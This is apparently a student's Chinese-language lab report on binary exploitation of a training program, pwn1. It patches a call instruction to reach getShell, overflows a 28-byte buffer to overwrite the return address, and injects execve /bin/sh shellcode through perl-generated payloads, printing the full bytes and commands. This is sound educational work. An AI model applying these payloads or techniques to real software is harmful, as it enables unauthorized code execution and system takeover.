一、实验内容
- Linux基本操作的学习
- 能熟练的熟悉文件修改、打开,查看文件夹内容
- 能正常使用gdb、vi
- 可以理解汇编语言、机器指令、EIP的内容等
- 理解可执行文件和机器指令
- 例如call指令
- 反汇编指令objdump
- 文件十六进制转换指令 %!xxd 与 %!xxd -r
- 逆向工程
- 学习如何分析和理解程序的二进制代码,以及如何通过工具如objdump来查看程序的汇编代码。
- 缓冲区溢出
- 掌握如何利用程序中的缓冲区溢出漏洞来改变程序的执行流程,包括构造特定的输入来覆盖内存中的返回地址。
- 内存和地址计算
- 学习内存地址的概念,包括如何计算补码和使用内存地址来控制程序跳转。
- GDB调试技巧
- 掌握使用GDB进行程序调试的方法,包括设置断点和查看内存及寄存器状态。
- Shellcode注入技术
- 了解如何构造和注入Shellcode到程序中,以及如何执行它来获取系统控制权。
二、实验过程
(一)任务1:直接修改程序机器指令,改变程序执行流程
- 下载可执行文件pwn1,并将其传入kali中,改名为pwn20222326
2. 查看目标文件pwn20222326反汇编代码
可以看的出来,pwn20222326文件中的main函数中,有一行汇编指令是call 8048491
-
修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
- 输入:cp pwn20222326 pwn2 (将可执行文件pwn20222326复制一份为pwn2)
- 输入:vi pwn2 (进入pwn2文件,进行修改)
- 输入::%!xxd (将文件转换为十六进制文件,便于修改查看)
- 输入:/e8 d7(定位到需要修改的地方,注意中间的空格,否则查找不到内容)
- 输入:i进入编辑模式,将d7修改为c3(修改如下)
-
- 输入::%!xxd -r (将文件十六进制修改为原格式)
- 输入:‘:wq’ (保存修改并退出)
-
再次反汇编,查看call指令是否正确调用getShell
- 输入:
objdump -d pwn2 | more
进行反汇编查看
- 输入:
-
运行修改后的可执行文件pwn2,预计会得到shell提示符
- 输入:
./pwn2
运行可执行文件pwn2
- 输入:
从图中可以看出,运行之后得到了一个shell.
(二)任务2:通过构造输入参数,造成BOF攻击,改变程序执行流
- 了解可执行文件pwn20222326中程序的功能
图中展示出的代码可知,foo函数有有Buffer overflow漏洞, 系统只预留了28字节的缓冲区,超出部分会造成溢出,我们可以利用这个漏洞,将返回地址覆盖为所需的getShell函数的地址。
-
确认输入字符串哪几个字符会覆盖到返回地址
- 需要启动gdb进行调试
- 下载gdb
* 输入:gdb pwn20222326 启动gdb,并加载了 pwn20222326
* 输入:r/ run 运行pwn20222326
* 运行了pwn20222326后,程序会运行foo函数,此时需要输入一些字符串内容,它会打印一遍`1111111122222222333333334444444455555555`
* 输入:info r 查看当前程序状态下的所有寄存器的值,从中可知eip为0x35353535,35是5的ASCII.
* 输入:再次输入r运行,输入“1111111122222222333333334444444412345678”确定是从哪个5开始覆盖的。
* 输入:info r 查看当前程序状态下的所有寄存器的值,从中可知eip为0x34333231,即‘1234’
- 确认用什么值来覆盖返回地址
在第一步分析pwn20222326文件内容的时候,我们知道getShell函数的内存地址是‘0804847d’,需要将“111111112222222233333333444444441234”中的‘1234’替换为getShell的内存地址。
- 确认输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08,即确认字节顺序。
- 通过设置断点、运行程序、查看eip以及对照之前的eip可以知道,要按照‘11111111222222223333333344444444\x7d\x84\x04\x08’输入进行。
- 构造输入字符串
由为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以需要先生成包括这样字符串的一个文件。(\x0a表示回车符)。
- 输入xxd input,通过十六进制转换,查看input文件的内容是否符合预期。
- 测试
- 输入
(cat input; cat) | ./pwn20222326
此命令,用管道符“|”将input作为pwn20222326的输入
从图中可知,成功利用了foo函数的缓冲区溢出漏洞,调用了getShell函数,出现了shell.
(三)任务3:注入Shellcode并执行
- 准备一段Shellcode
- 依据实验指导中的内容‘
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
’
-
准备工作
- 设置堆栈可执行
- 查询文件的堆栈是否可执行
- 关闭地址随机化(因为我的这个本来就是关闭的,我没有再进行修改)
-
构造要注入的payload
-
构造一个结构为 anything+retaddr+nops+shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
-
打开一个终端注入这段攻击buf
-
* 另开一个终端,在这个终端里通过gdb调试pwn20222326
* 通过输入`ps -ef | grep pwn20222326`这个命令来查看pwn20222326的进程号
* 由图中可知,pwn20222326的进程号是16461
* 启动gdb,调用16461这个进程
* 设置断点,查看地址
* 图中可知,断点设计到了0x080484ae
,因为ret完,就跳到我们覆盖的retaddr了
* 在最开始的第一个终端中按下回车,与(二)中的\x0a
类似
* 输出c 继续
* 遇到断点之后,通过 info r esp 来查看当前栈顶的地址。由图中可知,地址为0xffffcf9c
* 通过x/16x 0xffffcf9c,来查看从地址 0xffffcf9c 开始,显示 16 个字(4 字节)的内存内容。
* 可知01020304
的地址是0xffffcf9c
,那么shellcode的地址就是紧挨着+40xffffcfa0
- 则可以构造
perl -e 'print "A" x 32;print "\xa0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
* `xxd input_shellcode`十六进制查看input_shellcode,可以看到a0cf····,说明修改成功
* 通过(cat input_shellcode;cat) | ./pwn20222326命令,进行运行,出现了shell,成功!
三、问题及解决方案
- 问题1:在做(一)任务1的时候,因为修改完可执行文件之后,忘记了将十六进制转换为原格式就保存退出了。
- 问题1解决方案:检查了一遍之后,又重新开始进行了一次。
- 问题2:在做(一)任务1的时候,其中又/e8 df,因为刚开始定位的时候,并没有打中间的这个空格,导致一直找不到。
- 问题2解决方案:后来通过和同学一起尝试,发现中间打一个空格就可以找到
- 问题3:在做(三)任务3的时候,需要进行准备工作,需要用到
execstack
,但是我还没有下载。 - 问题3解决方案:尝试了修改源文件,下载一些工具包以及按照网上的方案创建临时链接,但是并没有解决这个问题,甚至于创建临时链接导致了新的问题,后来通过和同学交流,通过
sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
命令解决了
四、学习感悟、思考等
通过本次实验,我对Linux的基本操作有了更加深入的了解。掌握了文件的查看、修改、复制等操作,以及如何使用gdb和vi等工具。深入理解了汇编语言和机器指令的工作原理。通过修改call指令的目标地址,我学会了如何直接改变程序的执行流程,这对理解程序底层的运行机制非常有帮助。使用objdump等工具对二进制代码进行反汇编,使我能够分析和理解程序的内部逻辑。实验中通过构造特定的输入数据来覆盖内存中的返回地址,成功改变了程序的执行流程。这让我直观地看到了缓冲区溢出攻击的原理和危害。通过注入Shellcode并执行,我学会了如何构造和注入恶意代码。虽然这是攻击技术,但了解这些知识有助于更好地防范和应对潜在的安全威胁。以及,在实验过程中,我遇到了一些问题,有些问题的解决办法是我没有在网上找到,而是与同学交流找到的解决办法,这让我意识到与同学的合作和交流在实验中起到了关键作用。